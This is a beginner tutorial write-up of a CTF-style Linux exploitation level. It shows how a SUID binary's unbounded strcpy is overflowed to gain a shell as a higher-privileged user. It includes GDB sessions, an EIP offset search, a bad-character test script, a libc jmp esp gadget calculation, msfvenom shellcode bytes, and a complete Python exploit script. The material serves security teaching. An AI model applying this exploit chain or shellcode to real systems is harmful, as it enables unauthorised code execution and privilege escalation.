Stack Overflows for Beginners — Level 3

Updated July 25, 2025

Welcome again to the Stack Overflows for Beginners series! In this post, we continue with the Level 3 binary and work on exploiting it to get the next flag. This time, we’re dealing with a binary that uses the unsafe strcpy function, making it vulnerable to buffer overflows. We’ll exploit this vulnerability, carefully navigating through memory to gain control over execution and eventually pop a shell.

If you haven’t read the first part yet, I recommend checking it out first to understand the background, setup, and our goals in this challenge series.

This walkthrough is part of my beginner-level training series, Linux Usermode Exploitation 101,” created to help newcomers build a solid foundation in Linux-based exploit development and security research.

Level 3 Objectives

  • Writing first exploit
  • Discover a vulnerable function that uses strcpy without bounds checking
  • Generate a cyclic pattern using msfvenom to identify the exact EIP offset
  • Find a suitable memory location to store large shellcode buffers
  • Detect bad characters that could break payload execution
  • Overwrite the return address (EIP) to redirect program flow
  • Use the jmp esp technique and locate suitable gadgets manually
  • Achieve reliable code execution and gain a shell

Accessing the Level 2 User

To begin this level, we switch to the level2 user using the password we found in the previous challenge.

(See the Level 2 post for how we found it.)

We log in and navigate to the new level directory:

$ whoami
level2

$ pwd
/home/level2

Inside the home directory, we find the next binary:

$ ls -l levelThree 
-rwsr-sr-x 1 level3 level3 15596 Jun  8  2019 levelThree

As before, this binary has the SUID bit set and runs with level3’s privileges. Now let’s try executing it with a test input:

$ ./levelThree AAAA
Buf: AAAA

The program accepts user input and echoes it back. This means it’s likely taking our input as a command-line argument, similar to the previous challenge.

Disassembling

Now let’s look more closely at the binary to understand what it does and where the vulnerability might be.

We start by listing all available functions in GDB:

(gdb) info func
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001030  setresuid@plt
0x00001040  printf@plt
0x00001050  geteuid@plt
0x00001060  strcpy@plt
[...]
0x000011c5  __x86.get_pc_thunk.dx
0x000011c9  overflow
0x00001212  main
[...]

We will focus on the main and overflow functions.

main() function

Let’s disassemble the main function:

(gdb) disass main

From output we can see the steps that the main function performs:

  • It saves the current stack frame and prepares the stack.
  • It calls geteuid() to get the effective user ID and stores it.
  • Then it sets the same UID using setresuid().
  • Next, it loads the command-line argument and passes it to the overflow() function.
  • Finally, it exits cleanly.

The important line here is:

call   0x11c9 <overflow>

This shows us that main() directly calls the overflow() function with user input.

overflow() function

Let’s now look at the disassembly of the overflow function:

(gdb) disass overflow

Here’s what it does:

  • It creates space on the stack: sub esp, 0x104
  • It uses strcpy() to copy user input into a local buffer on the stack:
lea eax,[ebp-0x108]
push eax
push DWORD PTR [ebp+0x8]
call strcpy

Then it prints the input using printf().

The key line here is:

sub esp, 0x104

This shows that the buffer size is 0x104 bytes (260 in decimal). Since strcpy() does not check the size of the input, if the input is longer than 260 bytes, it will overflow the buffer.

Let’s verify with below commands:

level2@kali:~$ ./levelThree $(python3 -c "print('A' * 260)")
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

level2@kali:~$ ./levelThree $(python3 -c "print('A' * 264)")
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

As we can see above, when we give the program more than 260 bytes of input, it crashes with a segmentation fault.

Our Goal

Here is what we want to achieve:

  • Find the exact offset to the return address (RET) on the stack
  • Take control of the EIP register
  • Identify bad characters that could break our payload
  • Make sure there is enough space on the stack for our malicious payload
  • Generate a shellcode
  • Redirect the program’s execution to our shellcode by overwriting EIP with the address of a jmp esp instruction

Writing Exploit

Finding the Offset to EIP

First, we need to generate a unique cyclic pattern:

$ msf-pattern_create -l 300
Aa0Aa1Aa2Aa...[SNIP]...Aj8Aj9

Then we run the program with this pattern as input:

(gdb) r Aa0Aa1Aa2Aa...[SNIP]...Aj8Aj

The program crashes with a segmentation fault:

Program received signal SIGSEGV, Segmentation fault.
0x6a413969 in ?? ()

(gdb) x/1wx $eip
0x6a413969:	Cannot access memory at address 0x6a413969

This shows that EIP was overwritten with the value 0x6a413969.

Now we calculate the offset to EIP:

(gdb) shell msf-pattern_offset -q 0x6a413969
[*] Exact match at offset 268

So, the EIP is overwritten after 268 bytes of input.

We can confirm that we control the EIP by overwriting it with the letter B (which is 0x42 in hex):

(gdb) r $(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*268 + b"B"*4)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level2/levelThree $(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*268 + b"B"*4)')
Buf: AAAAAAAAAA...[SNIP]...AAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

As we can see, EIP is now 0x42424242, which means our 4 Bs were successfully placed into the EIP. This confirms that we have control over the instruction pointer.

Finding a Place to Store Large Buffers

Before we generate shellcode, we need to check if there is enough space in memory after the EIP overwrite to store it.

We’ll use the following Python script to create a test payload:

from struct import pack

size = 1000
offset = 268

buf = b"A" * offset             # padding up to EIP
buf += b"B" * 4                 # EIP overwrite
buf += b"C" * (size - len(buf)) # filler after EIP

print("[*] Generating payload")

with open("payload.bin", "wb") as f:
    f.write(buf)

print("[+] Payload has been generated!")
print(f"[!] Payload size: {len(buf)}")

Next, we set a breakpoint at the return address after the strcpy call in the overflow function:

(gdb) info breakpoints 
Num     Type           Disp Enb Address    What
2       breakpoint     keep y   0x56556211 <overflow+72>
	breakpoint already hit 1 time

Then, we run the program with the payload:

(gdb) r $(cat payload.bin)

When the breakpoint is hit, we step once (ni) and inspect the stack with:

(gdb) x/200bx $esp

We can see that the stack is filled with 0x43 (which is “C” in ASCII), meaning that our payload after the EIP is stored in memory. Here’s a snippet:

(gdb) ni
0x42424242 in ?? ()
(gdb) x/200bx $esp
0xffffceb0:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffceb8:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffcec0:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffcec8:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffced0:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffced8:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffcee0:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
[...]
0xffffcf30:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffcf38:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffcf40:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffcf48:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffcf50:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffcf58:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffcf60:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffcf68:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffcf70:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43

This confirms that we have enough space after the EIP overwrite to store our shellcode. We can safely place it there in the next steps.

If we see that our payload is cut off or doesn’t fully fit after the EIP overwrite, it means there is not enough space on the stack. In that case, we need to find a different memory location to store our payload.

Identifying Bad Characters

Now that we have control over EIP and enough space for our payload, we can start building a basic exploit to find bad characters.

What are bad characters?

Bad characters (or badchars) are specific bytes that can break our payload when it is passed through the program. These characters may:

  • End the string early
  • Be removed or changed by functions like strcpy()
  • Cause encoding or parsing problems

If a bad character appears in our shellcode or address, it might get cut off, skipped, or replaced—causing the exploit to fail.

Common bad characters

The most common bad character is:

\x00 (null byte)This is used to mark the end of a string in C, so anything after it is ignored.
\x0anewline
\x0dcarriage return
\x20space
Table 1: Bad characters

Each program is different, so we must test to see which characters are safe to use.

Below is our first basic exploit script. It includes:

  • A list of all possible bad characters from \x01 to \xff (we usually skip \x00 because it’s almost always bad)
  • The payload size (1000 bytes)
  • The offset to EIP (268 bytes)
  • Junk (Cs) added after the bad character test to fill the buffer
$ cat exploit_01.py 
from struct import pack

size = 1000
offset = 268

badchars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

buf = b"A" * offset     # padding up to EIP overwrite
buf += b"B" * 4         # EIP overwrite
buf += badchars
buf += b"C" * (size - len(buf)) # junk

print("[*] Generating payload")

with open("payload.bin", "wb") as f:
    f.write(buf) 

print("[+] Payload has been generated!")
print(f"[!] Payload size: {len(buf)}")

Now we can run the program with this payload and inspect memory (e.g., $esp) to see which characters are missingtruncated, or altered. Any byte that doesn’t appear as expected is likely a bad character we need to avoid in our final shellcode.

Now let’s run the script to generate our test payload:

$ python3 exploit_01.py 
[*] Generating payload
[+] Payload has been generated!
[!] Payload size: 1000

Now that we’ve created the payload, we can run the program in GDB and check how the bad characters appear in memory.

Set a breakpoint at the return address right after the strcpy function in the overflow function:

(gdb) b *0x56556211     ← RET address after strcpy
Breakpoint 1 at 0x56556211

Then step over the instruction:

(gdb) ni
0x42424242 in ?? ()

Now inspect the stack to see how the bad characters look:

(gdb) x/200bx $esp
0xffffce9c:  0x42  0x42  0x42  0x42  0x01  0x02  0x03  0x04
0xffffcea4:  0x05  0x06  0x07  0x08  0x00  0x03  0x00  0x00
[...]

We can see that after 0x08, a 0x00 byte appears. This shows that the next character (0x09) is being cut or replaced—meaning \x09 is a bad character.

To continue testing, we now remove \x09 from the list of bad characters in our Python script and regenerate the payload.

[...]
badchars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
[...]

Run the script again:

$ python3 exploit_01.py
[*] Generating payload
[+] Payload has been generated!
[!] Payload size: 1000

Then restart the program in GDB:

(gdb) r $(cat payload.bin)
The program being debugged has been started already.
Start it from the beginning? (y or n) y

And inspect the stack again:

(gdb) x/350bx $esp

Keep repeating this process—removing each bad character you find from the list—until all characters are visible in memory without being altered or cut.

Finally, we identified the following bad characters: \x00\x09\x0a\x20

These characters should be avoided in both the shellcode and any address values in the final exploit.

Controlling EIP

In previous challenges, we used the address of an existing function to overwrite EIP. This time, we’ll use a different technique.

We will use the libc library to find a jmp esp instruction and overwrite EIP to redirect execution to our shellcode on the stack.

In GDB, we check which shared libraries the program is using:

(gdb) info sharedlibrary 
From        To          Syms Read   Shared Object Library
0xf7fd5090  0xf7ff043b  Yes (*)     /lib/ld-linux.so.2
0xf7de70e0  0xf7f33c16  Yes (*)     /lib32/libc.so.6
(*): Shared library is missing debugging information.

We copy libc.so.6 locally so we can inspect it easily:

(gdb) shell cp /lib32/libc.so.6 .

We want to find the machine code for jmp esp. We can check this using msf-nasm_shell:

$ msf-nasm_shell 
nasm > jmp esp
00000000  FFE4              jmp esp

The opcode for jmp esp is ff e4.

Now we search for this opcode inside the libc file:

$ objdump -D libc.so.6 -M intel | grep "ff e4"
    6ff7:	ff e4                	jmp    esp
    9037:	ff e4                	jmp    esp
  1867db:	ff e4                	jmp    esp
  187937:	ff e4                	jmp    esp
  188323:	ff e4                	jmp    esp
  [...]

We can use any of these addresses as long as they don’t contain bad characters.

Let’s say we choose 0x188323.

Now we take the base address of libc from GDB (from earlier):

Base address: 0xf7de70e0

To make our exploit work, we need the runtime address of a jmp esp instruction inside the libc library.

We use readelf to find the base of the .text section in libc.so.6:

(gdb) shell readelf -S libc.so.6 | grep .text
  [13] .text             PROGBITS        000190e0 0190e0 14cb36 00  AX  0   0 16

The virtual address (VA) of .text is 0x190e0.

From our earlier objdump output, we choose a jmp esp gadget at:

gadget_va = 0x188323

We subtract the .text base to get the offset:

(gdb) p/x 0x188323 - 0x190e0
$7 = 0x16f243

From GDB, we know the base address of libc at runtime is:

libc_base = 0xf7de70e0

So we calculate the final address:

(gdb) p/x 0xf7de70e0 + 0x16f243
$8 = 0xf7f56323

We confirm it in GDB:

(gdb) x/2i 0xf7f56323
   0xf7f56323:	jmp    esp
   0xf7f56325:	add    al,0xfd

We have successfully found a valid jmp esp instruction at 0xf7f56323, and it does not contain any bad characters—so it’s safe to use in our exploit.

Code Execution

Now that we have control over EIP and found a safe jmp esp address, it’s time to generate the final shellcode.

We’ll use msfvenom to create a simple Linux x86 shell that runs /bin/sh.

$ msfvenom -p linux/x86/exec CMD="/bin/sh" -b "\x00\x09\x0a\x20" -v shellcode -f python

Here’s the generated shellcode (shortened for clarity):

shellcode  = b"\x90" * 16  # NOP sled
shellcode += b"\xba\x7a\x30\x6a\x53\xdb\xd0\xd9\x74\x24\xf4\x58"
shellcode += b"\x29\xc9\xb1\x0b\x31\x50\x15\x03\x50\x15\x83\xc0"
shellcode += b"\x04\xe2\x8f\x5a\x61\x0b\xf6\xc9\x13\xc3\x25\x8d"
shellcode += b"..."

We added a small NOP sled (\x90 bytes) before the shellcode.

NOP stands for No Operation. It does nothing and simply moves to the next instruction.
If our jump doesn’t land exactly at the start of the shellcode, the NOPs give a safe “landing zone” and slide execution into the shellcode.

Final Exploitexploit_03.py

  1 from struct import pack
  2 
  3 size = 1000
  4 offset = 268
  5 # badchars \x00\x09\x0a\x20
  6 
  7 shellcode =  b"\x90" * 16
  8 shellcode += b"\xba\x7a\x30\x6a\x53\xdb\xd0\xd9\x74\x24\xf4\x58"
  9 shellcode += b"\x29\xc9\xb1\x0b\x31\x50\x15\x03\x50\x15\x83\xc0"
 10 shellcode += b"\x04\xe2\x8f\x5a\x61\x0b\xf6\xc9\x13\xc3\x25\x8d"
 11 shellcode += b"\x52\xf4\x5d\x7e\x16\x93\x9d\xe8\xf7\x01\xf4\x86"
 12 shellcode += b"\x8e\x25\x54\xbf\x99\xa9\x58\x3f\xb5\xcb\x31\x51"
 13 shellcode += b"\xe6\x78\xa9\xad\xaf\x2d\xa0\x4f\x82\x52"
 14 
 15 buf = b"A" * offset                  # padding up to EIP overwrite
 16 buf += pack("<I",0xf7f56323)         # EIP overwrite jmp esp [libc.so.6]
 17 buf += shellcode
 18 buf += b"C" * (size - len(buf))      # junk
 19 
 20 print("[*] Generating payload")
 21 
 22 with open("payload.bin", "wb") as f:
 23     f.write(buf) 
 24 
 25 print("[+] Payload has been generated!")
 26 print(f"[!] Payload size: {len(buf)}")

Generate a payload:

$ python3 exploit_03.py 
[*] Generating payload
[+] Payload has been generated!
[!] Payload size: 100

Finally, exploit the progam:

$ ./levelThree $(cat payload.bin)
Buf: AAAAAAAAAAAAAAA...[SNIP]...CCCCCCCC
$ whoami
level3
$ cd /home/level3
$ ls
level3.txt  levelFour
$ cat level3.txt
[REDACTED]

Now, we have a shell as level3 and can read the flag (password) and are ready to move on to the next level.